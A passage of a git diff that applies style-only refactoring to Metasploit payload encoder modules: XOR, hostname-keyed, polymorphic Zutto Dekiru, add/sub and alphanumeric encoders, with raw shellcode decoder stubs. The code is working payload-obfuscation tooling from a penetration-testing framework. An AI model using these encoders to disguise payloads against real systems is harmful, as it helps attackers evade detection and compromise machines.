@@ -44,7 +43,7 @@ def decoder_stub(state) 0x7ffff214, # 0x1ddc : add r31,r31,r30 0x4082ffe0, # 0x1de0 : bne+ 0x1dc0 0x4cff012c, # 0x1de4 : isync - ].pack("N*") + ].pack('N*') end # diff --git a/modules/encoders/ruby/base64.rb b/modules/encoders/ruby/base64.rb index 8be3b8e6b40c3..c107ebe1cc3ca 100644 --- a/modules/encoders/ruby/base64.rb +++ b/modules/encoders/ruby/base64.rb @@ -8,18 +8,18 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Ruby Base64 Encoder', - 'Description' => %q{ + 'Name' => 'Ruby Base64 Encoder', + 'Description' => %q{ This encoder returns a base64 string encapsulated in eval(%(base64 encoded string).unpack(%(m0)).first). }, - 'Author' => 'Robin Stenvi ', - 'License' => BSD_LICENSE, - 'Arch' => ARCH_RUBY) + 'Author' => 'Robin Stenvi ', + 'License' => BSD_LICENSE, + 'Arch' => ARCH_RUBY) end def encode_block(state, buf) - %w{( ) . % e v a l u n p c k m 0 f i r s t}.each do |c| + %w[( ) . % e v a l u n p c k m 0 f i r s t].each do |c| raise BadcharError if state.badchars.include?(c) end @@ -29,6 +29,6 @@ def encode_block(state, buf) raise BadcharError if b64.include?(byte.chr) end - return "eval(%(" + b64 + ").unpack(%(m0)).first)" + return 'eval(%(' + b64 + ').unpack(%(m0)).first)' end end diff --git a/modules/encoders/sparc/longxor_tag.rb b/modules/encoders/sparc/longxor_tag.rb index 7b79cdbc1050f..8c54489f5718d 100644 --- a/modules/encoders/sparc/longxor_tag.rb +++ b/modules/encoders/sparc/longxor_tag.rb @@ -7,19 +7,18 @@ class MetasploitModule < Msf::Encoder::XorAdditiveFeedback def initialize super( - 'Name' => 'SPARC DWORD XOR Encoder', - 'Description' => %q{ + 'Name' => 'SPARC DWORD XOR Encoder', + 'Description' => %q{ This encoder is optyx's 48-byte SPARC encoder with some tweaks. }, - 'Author' => [ 'optyx', 'hdm' ], - 'Arch' => ARCH_SPARC, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 4, - 'BlockSize' => 4, - 'KeyPack' => 'N', - }) + 'Author' => [ 'optyx', 'hdm' ], + 'Arch' => ARCH_SPARC, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 4, + 'BlockSize' => 4, + 'KeyPack' => 'N' + }) end # @@ -27,16 +26,16 @@ def initialize # def decoder_stub(state) Rex::Arch::Sparc.set_dword(state.key, 'l1') + - "\x20\xbf\xff\xff" + # bn,a _start - 4 - "\x20\xbf\xff\xff" + # bn,a _start - "\x7f\xff\xff\xff" + # call _start + 4 - "\xea\x03\xe0\x20" + # ld [%o7 + 0x20],%l7 - "\xaa\x9d\x40\x11" + # xorcc %l5,%l1,%l5 - "\xea\x23\xe0\x20" + # st %l5,[%o7 + 0x20] - "\xa2\x04\x40\x15" + # add %l1,%l5,%l1 - "\x81\xdb\xe0\x20" + # flush %o7 + 0x20 - "\x12\xbf\xff\xfb" + # bnz dec_loop - "\x9e\x03\xe0\x04" # add %o7,4,%o7 + "\x20\xbf\xff\xff" + # bn,a _start - 4 + "\x20\xbf\xff\xff" + # bn,a _start + "\x7f\xff\xff\xff" + # call _start + 4 + "\xea\x03\xe0\x20" + # ld [%o7 + 0x20],%l7 + "\xaa\x9d\x40\x11" + # xorcc %l5,%l1,%l5 + "\xea\x23\xe0\x20" + # st %l5,[%o7 + 0x20] + "\xa2\x04\x40\x15" + # add %l1,%l5,%l1 + "\x81\xdb\xe0\x20" + # flush %o7 + 0x20 + "\x12\xbf\xff\xfb" + # bnz dec_loop + "\x9e\x03\xe0\x04" # add %o7,4,%o7 end # @@ -50,10 +49,14 @@ def encode_end(state) # Verify that the chosen key doesn't become an invalid byte due to # the set_dword() result (22/10 bit split) # - def find_key_verify(buf, key_bytes, badchars) - return ( has_badchars?( + def find_key_verify(_buf, key_bytes, badchars) + return (if has_badchars?( Rex::Arch::Sparc.set_dword(key_bytes_to_integer(key_bytes), 'l1'), badchars - ) ? false : true) + ) + false + else + true + end) end end diff --git a/modules/encoders/x64/xor.rb b/modules/encoders/x64/xor.rb index 53e577937abba..a3738b200f0de 100644 --- a/modules/encoders/x64/xor.rb +++ b/modules/encoders/x64/xor.rb @@ -7,19 +7,19 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'XOR Encoder', - 'Description' => 'An x64 XOR encoder. Uses an 8 byte key and takes advantage of x64 relative addressing.', - 'Author' => [ 'sf' ], - 'Arch' => ARCH_X64, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'KeySize' => 8, - 'KeyPack' => 'Q', - 'BlockSize' => 8, - } + 'Name' => 'XOR Encoder', + 'Description' => 'An x64 XOR encoder. Uses an 8 byte key and takes advantage of x64 relative addressing.', + 'Author' => [ 'sf' ], + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'KeySize' => 8, + 'KeyPack' => 'Q', + 'BlockSize' => 8 + } ) end + # Indicate that this module can preserve some registers # ...which is currently not true. This is a temp fix # until the full preserve_registers functionality is @@ -28,20 +28,19 @@ def can_preserve_registers? true end - def decoder_stub( state ) - + def decoder_stub(state) # calculate the (negative) block count . We should check this against state.badchars. - block_count = [-( ( (state.buf.length - 1) / state.decoder_key_size) + 1)].pack( "V" ) + block_count = [-(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V') - decoder = "\x48\x31\xC9" + # xor rcx, rcx - "\x48\x81\xE9" + block_count + # sub ecx, block_count - "\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rel 0x0] - "\x48\xBBXXXXXXXX" + # mov rbx, 0x???????????????? - "\x48\x31\x58\x27" + # xor [rax+0x27], rbx - "\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8 - "\xE2\xF4" # loop 0x1B + decoder = "\x48\x31\xC9" + # xor rcx, rcx + "\x48\x81\xE9" + block_count + # sub ecx, block_count + "\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rel 0x0] + "\x48\xBBXXXXXXXX" + # mov rbx, 0x???????????????? + "\x48\x31\x58\x27" + # xor [rax+0x27], rbx + "\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8 + "\xE2\xF4" # loop 0x1B - state.decoder_key_offset = decoder.index( 'XXXXXXXX' ) + state.decoder_key_offset = decoder.index('XXXXXXXX') return decoder end diff --git a/modules/encoders/x64/xor_context.rb b/modules/encoders/x64/xor_context.rb index 27fb5225a5c87..bbf9383e154c1 100644 --- a/modules/encoders/x64/xor_context.rb +++ b/modules/encoders/x64/xor_context.rb @@ -7,46 +7,48 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'Hostname-based Context Keyed Payload Encoder', - 'Description' => 'Context-Keyed Payload Encoder based on hostname and x64 XOR encoder.', - 'Author' => [ 'sf' 'oso' ], - 'Arch' => ARCH_X64, - 'License' => MSF_LICENSE, - 'Platform' => 'linux', - 'Decoder' => - { - 'KeySize' => 8, - 'KeyPack' => 'Q', - 'BlockSize' => 8, - } + 'Name' => 'Hostname-based Context Keyed Payload Encoder', + 'Description' => 'Context-Keyed Payload Encoder based on hostname and x64 XOR encoder.', + 'Author' => [ + 'sf', + 'oso' + ], + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Decoder' => { + 'KeySize' => 8, + 'KeyPack' => 'Q', + 'BlockSize' => 8 + } ) - register_options([ OptString.new('C_HOSTNAME',[ true, "Context Hostname.", "hostname"])]) + register_options([ OptString.new('C_HOSTNAME', [ true, 'Context Hostname.', 'hostname'])]) end - def obtain_key(buf, badchars, state) + def obtain_key(_buf, _badchars, state) # TODO: Currently only first 8 chars are taken as key. We should include the other chars in the key. - state.key = datastore['C_HOSTNAME'][0..8].reverse!.unpack('H*')[0].to_i(base=16) + state.key = datastore['C_HOSTNAME'][0..8].reverse!.unpack('H*')[0].to_i(16) end - def decoder_stub( state ) + def decoder_stub(state) # calculate the (negative) block count . We should check this against state.badchars. - block_count = [-( ( (state.buf.length - 1) / state.decoder_key_size) + 1)].pack( "V" ) + block_count = [-(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V') - decoder = ""+ - # get hostname - "\x6a\x3f\x58" + # push 0x3f; pop rax - "\x48\x8D\x3C\x24" + # lea rdi, [rsp] - "\x0F\x05" + # syscall ; LINUX - sys_uname - "\x48\x8B\x5F\x41" + # movq rbx, [rdi+0x41]; hostname + decoder = '' + + # get hostname + "\x6a\x3f\x58" + # push 0x3f; pop rax + "\x48\x8D\x3C\x24" + # lea rdi, [rsp] + "\x0F\x05" + # syscall ; LINUX - sys_uname + "\x48\x8B\x5F\x41" + # movq rbx, [rdi+0x41]; hostname - # loop - "\x48\x31\xC9" + # xor rcx, rcx - "\x48\x81\xE9" + block_count + # sub ecx, block_count - "\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rip - 0x01] - "\x48\x31\x58\x1d" + # xor [rax+0x1d], rbx - "\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8 - "\xE2\xF4" # loop 0x1B + # loop + "\x48\x31\xC9" + # xor rcx, rcx + "\x48\x81\xE9" + block_count + # sub ecx, block_count + "\x48\x8D\x05\xEF\xFF\xFF\xFF" + # lea rax, [rip - 0x01] + "\x48\x31\x58\x1d" + # xor [rax+0x1d], rbx + "\x48\x2D\xF8\xFF\xFF\xFF" + # sub rax, -8 + "\xE2\xF4" # loop 0x1B return decoder end end diff --git a/modules/encoders/x64/xor_dynamic.rb b/modules/encoders/x64/xor_dynamic.rb index 9970ea2774763..295cbe186c79d 100644 --- a/modules/encoders/x64/xor_dynamic.rb +++ b/modules/encoders/x64/xor_dynamic.rb @@ -7,11 +7,11 @@ class MetasploitModule < Msf::Encoder::XorDynamic def initialize super( - 'Name' => 'Dynamic key XOR Encoder', - 'Description' => 'An x64 XOR encoder with dynamic key size', - 'Author' => [ 'lupman', 'phra' ], - 'Arch' => ARCH_X64, - 'License' => MSF_LICENSE + 'Name' => 'Dynamic key XOR Encoder', + 'Description' => 'An x64 XOR encoder with dynamic key size', + 'Author' => [ 'lupman', 'phra' ], + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE ) end @@ -24,29 +24,29 @@ def can_preserve_registers? end def stub - "\xeb\x27" + # jmp _call - "\x5b" + # _ret: pop rbx - "\x53" + # push rbx - "\x5f" + # pop rdi - "\xb0\x41" + # mov al, 'A' - "\xfc" + # cld - "\xae" + # _lp1: scas al, BYTE PTR es:[rdi] - "\x75\xfd" + # jne _lp1 - "\x57" + # push rdi - "\x59" + # pop rcx - "\x53" + # _lp2: push rbx - "\x5e" + # pop rsi - "\x8a\x06" + # _lp3: mov al, BYTE PTR [rsi] - "\x30\x07" + # xor BYTE PTR [rdi], al - "\x48\xff\xc7" + # inc rdi - "\x48\xff\xc6" + # inc rsi - "\x66\x81\x3f\x42\x42" + # cmp WORD PTR [rdi], 'BB' - "\x74\x07" + # je _jmp - "\x80\x3e\x41" + # cmp BYTE PTR [rsi], 'A' - "\x75\xea" + # jne _lp3 - "\xeb\xe6" + # jmp _lp2 - "\xff\xe1" + # _jmp: jmp rcx - "\xe8\xd4\xff\xff\xff" # _call: call _ret + "\xeb\x27" + # jmp _call + "\x5b" + # _ret: pop rbx + "\x53" + # push rbx + "\x5f" + # pop rdi + "\xb0\x41" + # mov al, 'A' + "\xfc" + # cld + "\xae" + # _lp1: scas al, BYTE PTR es:[rdi] + "\x75\xfd" + # jne _lp1 + "\x57" + # push rdi + "\x59" + # pop rcx + "\x53" + # _lp2: push rbx + "\x5e" + # pop rsi + "\x8a\x06" + # _lp3: mov al, BYTE PTR [rsi] + "\x30\x07" + # xor BYTE PTR [rdi], al + "\x48\xff\xc7" + # inc rdi + "\x48\xff\xc6" + # inc rsi + "\x66\x81\x3f\x42\x42" + # cmp WORD PTR [rdi], 'BB' + "\x74\x07" + # je _jmp + "\x80\x3e\x41" + # cmp BYTE PTR [rsi], 'A' + "\x75\xea" + # jne _lp3 + "\xeb\xe6" + # jmp _lp2 + "\xff\xe1" + # _jmp: jmp rcx + "\xe8\xd4\xff\xff\xff" # _call: call _ret end def stub_key_term diff --git a/modules/encoders/x64/zutto_dekiru.rb b/modules/encoders/x64/zutto_dekiru.rb index 6c5230ec68857..785d8f1f9f55f 100644 --- a/modules/encoders/x64/zutto_dekiru.rb +++ b/modules/encoders/x64/zutto_dekiru.rb @@ -11,64 +11,62 @@ class MetasploitModule < Msf::Encoder::Xor def initialize super( - 'Name' => 'Zutto Dekiru', - 'Version' => '$Revision: 14774 $', - 'Description' => 'Inspired by shikata_ga_nai using fxsave64 to work under x64 systems.', - 'Author' => 'agix', - 'Arch' => ARCH_X64, - 'License' => MSF_LICENSE, - 'EncoderType' => Msf::Encoder::Type::Raw, - 'Decoder' => - { - 'KeySize' => 8, - 'KeyPack' => 'Q<' + 'Name' => 'Zutto Dekiru', + 'Version' => '$Revision: 14774 $', + 'Description' => 'Inspired by shikata_ga_nai using fxsave64 to work under x64 systems.', + 'Author' => 'agix', + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'EncoderType' => Msf::Encoder::Type::Raw, + 'Decoder' => { + 'KeySize' => 8, + 'KeyPack' => 'Q<' } ) + @cpu64 = Metasm::X86_64.new end - @@cpu64 = Metasm::X86_64.new - def assemble(src, cpu=@@cpu64) + def assemble(src, cpu: @cpu64) Metasm::Shellcode.assemble(cpu, src).encode_string end - def fxsave64(reg) case reg - when "rax" + when 'rax' return "\x48\x0f\xae\x00" - when "rbx" + when 'rbx' return "\x48\x0f\xae\x03" - when "rcx" + when 'rcx' return "\x48\x0f\xae\x01" - when "rdx" + when 'rdx' return "\x48\x0f\xae\x02" - when "rsi" + when 'rsi' return "\x48\x0f\xae\x06" - when "rdi" + when 'rdi' return "\x48\x0f\xae\x07" - when "rbp" + when 'rbp' return "\x48\x0f\xae\x45\x00" - when "r8" + when 'r8' return "\x49\x0f\xae\x00" - when "r9" + when 'r9' return "\x49\x0f\xae\x01" - when "r10" + when 'r10' return "\x49\x0f\xae\x02" - when "r11" + when 'r11' return "\x49\x0f\xae\x03" - when "r12" + when 'r12' return "\x49\x0f\xae\x04\x24" - when "r13" + when 'r13' return "\x49\x0f\xae\x45\x00" - when "r14" + when 'r14' return "\x49\x0f\xae\x06" - when "r15" + when 'r15' return "\x49\x0f\xae\x07" end end - def nop(length,save_registers=[]) - test = Rex::Nop::Opty2.new('',save_registers) + def nop(length, save_registers = []) + test = Rex::Nop::Opty2.new('', save_registers) return test.generate_sled(length) end @@ -76,6 +74,7 @@ def nop(length,save_registers=[]) def can_preserve_registers? true end + # # Returns the set of FPU instructions that can be used for the FPU block of # the decoder stub. @@ -96,27 +95,27 @@ def fpu_instructions fpus << "\xd9\xe5" # This FPU instruction seems to fail consistently on Linux - #fpus << "\xdb\xe1" + # fpus << "\xdb\xe1" fpus end def rand_string(length) - o = [('0'..'9'),('a'..'z'),('A'..'Z')].map{|i| i.to_a}.flatten; - string = (0..(length-1)).map{ o[rand(o.length)] }.join; + o = [('0'..'9'), ('a'..'z'), ('A'..'Z')].map(&:to_a).flatten + string = (0..(length - 1)).map { o[rand(o.length)] }.join return string end - def xor_string(text,key) - text.length.times {|n| text[n] = (text[n].ord^key[n.modulo(key.length)].ord).chr } + def xor_string(text, key) + text.length.times { |n| text[n] = (text[n].ord ^ key[n.modulo(key.length)].ord).chr } return text end - - def ordered_random_merge(a,b) - a, b = a.dup, b.dup - a.map{rand(b.size+1)}.sort.reverse.each do |index| + def ordered_random_merge(array1, array2) + a = array1.dup + b = array2.dup + a.map { rand(b.size + 1) }.sort.reverse.each do |index| b.insert(index, a.pop) end b @@ -124,115 +123,113 @@ def ordered_random_merge(a,b) def encode_block(state, block) allowed_reg = [ - ["rax", "eax", "ax", "al" ], - ["rbx", "ebx", "bx", "bl" ], - ["rcx", "ecx", "cx", "cl" ], - ["rdx", "edx", "dx", "dl" ], - ["rsi", "esi", "si", "sil" ], - ["rdi", "edi", "di", "dil" ], - ["rbp", "ebp", "bp", "bpl" ], - ["r8", "r8d", "r8w", "r8b" ], - ["r9", "r9d", "r9w", "r9b" ], - ["r10", "r10d", "r10w", "r10b"], - ["r11", "r11d", "r11w", "r11b"], - ["r12", "r12d", "r12w", "r12b"], - ["r13", "r13d", "r13w", "r13b"], - ["r14", "r14d", "r14w", "r14b"], - ["r15", "r15d", "r15w", "r15b"], + ['rax', 'eax', 'ax', 'al' ], + ['rbx', 'ebx', 'bx', 'bl' ], + ['rcx', 'ecx', 'cx', 'cl' ], + ['rdx', 'edx', 'dx', 'dl' ], + ['rsi', 'esi', 'si', 'sil' ], + ['rdi', 'edi', 'di', 'dil' ], + ['rbp', 'ebp', 'bp', 'bpl' ], + ['r8', 'r8d', 'r8w', 'r8b' ], + ['r9', 'r9d', 'r9w', 'r9b' ], + ['r10', 'r10d', 'r10w', 'r10b'], + ['r11', 'r11d', 'r11w', 'r11b'], + ['r12', 'r12d', 'r12w', 'r12b'], + ['r13', 'r13d', 'r13w', 'r13b'], + ['r14', 'r14d', 'r14w', 'r14b'], + ['r15', 'r15d', 'r15w', 'r15b'], ] allowed_reg.delete_if { |reg| datastore['SaveRegisters'] && datastore['SaveRegisters'].include?(reg.first) } allowed_reg.shuffle! - if block.length%8 != 0 - block += nop(8-(block.length%8)) + if block.length % 8 != 0 + block += nop(8 - (block.length % 8)) end reg_type = 3 - if (block.length/8) > 0xff + if (block.length / 8) > 0xff reg_type = 2 end - if (block.length/8) > 0xffff + if (block.length / 8) > 0xffff reg_type = 1 end - if (block.length/8) > 0xffffffff + if (block.length / 8) > 0xffffffff reg_type = 0 end - reg_key = allowed_reg[0][0] + reg_key = allowed_reg[0][0] reg_size = allowed_reg[3] - reg_rip = allowed_reg[1][0] - reg_env = allowed_reg[2] + reg_rip = allowed_reg[1][0] + reg_env = allowed_reg[2] flip_coin = rand(2) fpu_opcode = Rex::Poly::LogicalBlock.new('fpu', - *fpu_instructions) + *fpu_instructions) fpu = [] - fpu << ["fpu",fpu_opcode.generate([], nil, state.badchars)] + fpu << ['fpu', fpu_opcode.generate([], nil, state.badchars)] - sub = (rand(0xd00)&0xfff0)+0xf000 + sub = (rand(0xd00) & 0xfff0) + 0xf000 lea = [] - if flip_coin==0 - lea << ["lea", assemble("mov %s, rsp"%reg_env[0])] - lea << ["lea1", assemble("and "+reg_env[2]+", 0x%x"%sub)] + if flip_coin == 0 + lea << ['lea', assemble('mov %s, rsp' % reg_env[0])] + lea << ['lea1', assemble('and ' + reg_env[2] + ', 0x%x' % sub)] else - lea << ["lea", assemble("push rsp")] - lea << ["lea1", assemble("pop "+reg_env[0])] - lea << ["lea2", assemble("and "+reg_env[2]+", 0x%x"%sub)] + lea << ['lea', assemble('push rsp')] + lea << ['lea1', assemble('pop ' + reg_env[0])] + lea << ['lea2', assemble('and ' + reg_env[2] + ', 0x%x' % sub)] end fpu_lea = ordered_random_merge(fpu, lea) - fpu_lea << ["fpu1", fxsave64(reg_env[0])] # fxsave64 doesn't seem to exist in metasm + fpu_lea << ['fpu1', fxsave64(reg_env[0])] # fxsave64 doesn't seem to exist in metasm - key_ins = [["key", assemble("mov "+reg_key+", 0x%x"%state.key)]] + key_ins = [['key', assemble('mov ' + reg_key + ', 0x%x' % state.key)]] size = [] - size << ["size", assemble("xor "+reg_size[0]+", "+reg_size[0])] - size << ["size", assemble("mov "+reg_size[reg_type]+", 0x%x"% (block.length/8))] + size << ['size', assemble('xor ' + reg_size[0] + ', ' + reg_size[0])] + size << ['size', assemble('mov ' + reg_size[reg_type] + ', 0x%x' % (block.length / 8))] - getrip=0 + getrip = 0 a = ordered_random_merge(size, key_ins) decode_head_tab = ordered_random_merge(a, fpu_lea) - decode_head_tab.length.times { |i| getrip = i if decode_head_tab[i][0] == "fpu"} + decode_head_tab.length.times { |i| getrip = i if decode_head_tab[i][0] == 'fpu' } - decode_head = decode_head_tab.map { |j,i| i.to_s }.join + decode_head = decode_head_tab.map { |_j, i| i.to_s }.join flip_coin = rand(2) - if flip_coin==0 - decode_head += assemble("mov "+reg_rip+", ["+reg_env[0]+" + 0x8]") + if flip_coin == 0 + decode_head += assemble('mov ' + reg_rip + ', [' + reg_env[0] + ' + 0x8]') else - decode_head += assemble("add "+reg_env[0]+", 0x8") - decode_head += assemble("mov "+reg_rip+", ["+reg_env[0]+"]") + decode_head += assemble('add ' + reg_env[0] + ', 0x8') + decode_head += assemble('mov ' + reg_rip + ', [' + reg_env[0] + ']') end - decode_head_size = decode_head.length getrip.times { |i| decode_head_size -= decode_head_tab[i][1].length } - loop_code = assemble("dec "+reg_size[0]) - loop_code += assemble("xor ["+reg_rip+"+("+reg_size[0]+"*8) + 0x7f], "+reg_key) - loop_code += assemble("test "+reg_size[0]+", "+reg_size[0]) + loop_code = assemble('dec ' + reg_size[0]) + loop_code += assemble('xor [' + reg_rip + '+(' + reg_size[0] + '*8) + 0x7f], ' + reg_key) + loop_code += assemble('test ' + reg_size[0] + ', ' + reg_size[0]) - payload_offset = decode_head_size+loop_code.length+2 + payload_offset = decode_head_size + loop_code.length + 2 - loop_code = assemble("dec "+reg_size[0]) - loop_code += assemble("xor ["+reg_rip+"+("+reg_size[0]+"*8) + 0x"+payload_offset.to_s(16)+"], "+reg_key) - loop_code += assemble("test "+reg_size[0]+", "+reg_size[0]) + loop_code = assemble('dec ' + reg_size[0]) + loop_code += assemble('xor [' + reg_rip + '+(' + reg_size[0] + '*8) + 0x' + payload_offset.to_s(16) + '], ' + reg_key) + loop_code += assemble('test ' + reg_size[0] + ', ' + reg_size[0]) - jnz = "\x75"+(0x100-(loop_code.length+2)).chr + jnz = "\x75" + (0x100 - (loop_code.length + 2)).chr - decode = decode_head+loop_code+jnz + decode = decode_head + loop_code + jnz encode = xor_string(block, [state.key].pack('Q')) return decode + encode end - end diff --git a/modules/encoders/x86/add_sub.rb b/modules/encoders/x86/add_sub.rb index 40628da413f17..d4abc74a9572e 100644 --- a/modules/encoders/x86/add_sub.rb +++ b/modules/encoders/x86/add_sub.rb @@ -8,139 +8,140 @@ class MetasploitModule < Msf::Encoder def initialize super( - 'Name' => 'Add/Sub Encoder', - 'Description' => %q{ + 'Name' => 'Add/Sub Encoder', + 'Description' => %q{ Encodes payload with add or sub instructions. This idea came from (offensive-security) muts' hp nnm 7.5.1 exploit. }, - 'Author' => 'Melih Sarica ', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => - { - 'BlockSize' => 4 - }) + 'Author' => 'Melih Sarica ', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Decoder' => { + 'BlockSize' => 4 + }) end def add_or_sub(avchars) add = [0x05, 0x50, 0x58, 0x25, 0x54, 0x5C] sub = [0x2D, 0x50, 0x58, 0x25, 0x54, 0x5C] - return 1 if add.all?{|ch|avchars.include?ch.chr} - return 2 if sub.all?{|ch|avchars.include?ch.chr} + return 1 if add.all? { |ch| avchars.include? ch.chr } + return 2 if sub.all? { |ch| avchars.include? ch.chr } + return 0 end def write_inst(inst, mcode) @data << inst if mcode != 0 - for i in 0...4 - t = mcode & 0x000000FF; + for _ in 0...4 + t = mcode & 0x000000FF @data << t - mcode = mcode >> 8; + mcode >>= 8 end end end - def rand_with_av_chars() + def rand_with_av_chars t2 = 0 - for i in 0...4 - c = @avchars[rand(@avchars.size)].ord.to_i() - t2 = t2 <<8 + for _ in 0...4 + c = @avchars[rand(@avchars.size)].ord.to_i + t2 <<= 8 t2 += c end return t2 end def check_non_av_chars(target) - for i in 0...4 - t = target & 0x000000FF; - return true if not @avchars.include?t.chr - target = target >> 8; + for _ in 0...4 + t = target & 0x000000FF + return true if !@avchars.include? t.chr + + target >>= 8 end return false end def encode_inst(target) - begin - a = rand_with_av_chars() - b = rand_with_av_chars() + loop do + a = rand_with_av_chars + b = rand_with_av_chars c = target - a - b if @set == 1 c = 0 - target - a - b if @set == 2 - c = c%(0xFFFFFFFF+1) - end while check_non_av_chars(c) == true - write_inst(@inst["opcode"], a) - write_inst(@inst["opcode"], b) - write_inst(@inst["opcode"], c) + c %= (0xFFFFFFFF + 1) + break unless check_non_av_chars(c) == true + end + write_inst(@inst['opcode'], a) + write_inst(@inst['opcode'], b) + write_inst(@inst['opcode'], c) end def encode_shellcode(target, z1, z2) - write_inst(@inst["and"], z1); - write_inst(@inst["and"], z2); - encode_inst(target); - write_inst(@inst["push"], 0); + write_inst(@inst['and'], z1) + write_inst(@inst['and'], z2) + encode_inst(target) + write_inst(@inst['push'], 0) end def decoder_stub(state) - buf = "" + buf = '' shellcode = state.buf.split(//) - while shellcode.size>0 - buf << shellcode.pop(4).join - end + buf << shellcode.pop(4).join until shellcode.empty? state.buf = buf - @data = "" - @avchars = "" + @data = '' + @avchars = '' for i in 0..255 - @avchars = @avchars + i.chr.to_s if not state.badchars.include?i.chr.to_s + @avchars += i.chr.to_s if !state.badchars.include? i.chr.to_s end offset = (datastore['BufferOffset'] || 0).to_i @inst = {} @set = add_or_sub(@avchars) - if @set == 0 then - raise EncodingError, "Bad character list includes essential characters." - exit - elsif @set == 1 then #add - @inst["opcode"] = 0x05 - else #sub - @inst["opcode"] = 0x2d + if @set == 0 + raise EncodingError, 'Bad character list includes essential characters.' + elsif @set == 1 # add + @inst['opcode'] = 0x05 + else # sub + @inst['opcode'] = 0x2d end - @inst["push"] = 0x50 - @inst["pop"] = 0x58 - @inst["and"] = 0x25 - @inst["push_esp"] = 0x54 - @inst["pop_esp"] = 0x5c - if state.buf.size%4 != 0 then - raise EncodingError, "Shellcode size must be divisible by 4, try nop padding." - exit + + @inst['push'] = 0x50 + @inst['pop'] = 0x58 + @inst['and'] = 0x25 + @inst['push_esp'] = 0x54 + @inst['pop_esp'] = 0x5c + if state.buf.size % 4 != 0 + raise EncodingError, 'Shellcode size must be divisible by 4, try nop padding.' end - #init - write_inst(@inst["push_esp"], 0) - write_inst(@inst["pop"], 0) + + # init + write_inst(@inst['push_esp'], 0) + write_inst(@inst['pop'], 0) encode_inst(offset) - write_inst(@inst["push"], 0) - write_inst(@inst["pop_esp"], 0) - #zeroing registers - begin - @z1 = rand_with_av_chars() - @z2 = rand_with_av_chars() - end while @z1&@z2 != 0 + write_inst(@inst['push'], 0) + write_inst(@inst['pop_esp'], 0) + # zeroing registers + loop do + @z1 = rand_with_av_chars + @z2 = rand_with_av_chars + break unless @z1 & @z2 != 0 + end decoder = @data return decoder end - def encode_block(state, block) - #encoding shellcode - @data = "" + def encode_block(_state, block) + # encoding shellcode + @data = '' target = block.split(//) - return if target.size<4 + return if target.size < 4 + t = 0 for i in 0..3 - t1 = target[3-i][0].ord.to_i - t = t<<8 - t = t + t1 + t1 = target[3 - i][0].ord.to_i + t <<= 8 + t += t1 end - encode_shellcode(t, @z1, @z2); + encode_shellcode(t, @z1, @z2) encoded = @data return encoded end end - diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index b78219a446451..143c33e94f481 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -10,22 +10,21 @@ class MetasploitModule < Msf::Encoder::Alphanum def initialize super( - 'Name' => "Alpha2 Alphanumeric Mixedcase Encoder", - 'Description' => %q{ + 'Name' => 'Alpha2 Alphanumeric Mixedcase Encoder', + 'Description' => %q{ Encodes payloads as alphanumeric mixedcase text. This encoder uses SkyLined's Alpha2 encoding suite. A pure alpha encoder is impossible without having a register that points at or near the shellcode. In a default configuration the first few bytes at the beginning are an fnstenv getpc stub (the same as used in shikata_ga_nai) and thus are not alphanumeric. You can set BufferRegister for full alpha (see Encoder options for details). }, - 'Author' => [ 'pusscat', 'skylined' ], - 'Arch' => ARCH_X86, - 'License' => BSD_LICENSE, - 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, - 'Decoder' => - { - 'BlockSize' => 1, - }) + 'Author' => [ 'pusscat', 'skylined' ], + 'Arch' => ARCH_X86, + 'License' => BSD_LICENSE, + 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, + 'Decoder' => { + 'BlockSize' => 1 + }) end # @@ -39,12 +38,12 @@ def decoder_stub(state) buf = '' # We need to create a GetEIP stub for the exploit - if (not reg) - if(datastore['AllowWin32SEH'] and datastore['AllowWin32SEH'].to_s =~ /^(t|y|1)/i) + if !reg + if datastore['AllowWin32SEH'] && datastore['AllowWin32SEH'].to_s =~ (/^(t|y|1)/i) buf = 'VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089' reg = 'ECX' off = 0 - modified_registers.concat ( + modified_registers.concat( [ Rex::Arch::X86::ESP, Rex::Arch::X86::EDI, @@ -54,23 +53,25 @@ def decoder_stub(state) Rex::Arch::X86::EDX, Rex::Arch::X86::ECX, Rex::Arch::X86::EAX - ]) + ] + ) else res = Rex::Arch::X86.geteip_fpu(state.badchars, modified_registers) - if (not res) - raise EncodingError, "Unable to generate geteip code" + if !res + raise EncodingError, 'Unable to generate geteip code' end - buf, reg, off = res + + buf, reg, off = res end else reg.upcase! end - stub = buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off, modified_registers) + stub = buf + Rex::Encoder::Alpha2::AlphaMixed.gen_decoder(reg, off, modified_registers) # Sanity check that saved_registers doesn't overlap with modified_registers modified_registers.uniq! - if (modified_registers & saved_registers).length > 0 + if !(modified_registers & saved_registers).empty? raise BadGenerateError end @@ -82,14 +83,14 @@ def decoder_stub(state) # payload. # def encode_block(state, block) - Rex::Encoder::Alpha2::AlphaMixed::encode_byte(block.unpack('C')[0], state.badchars) + 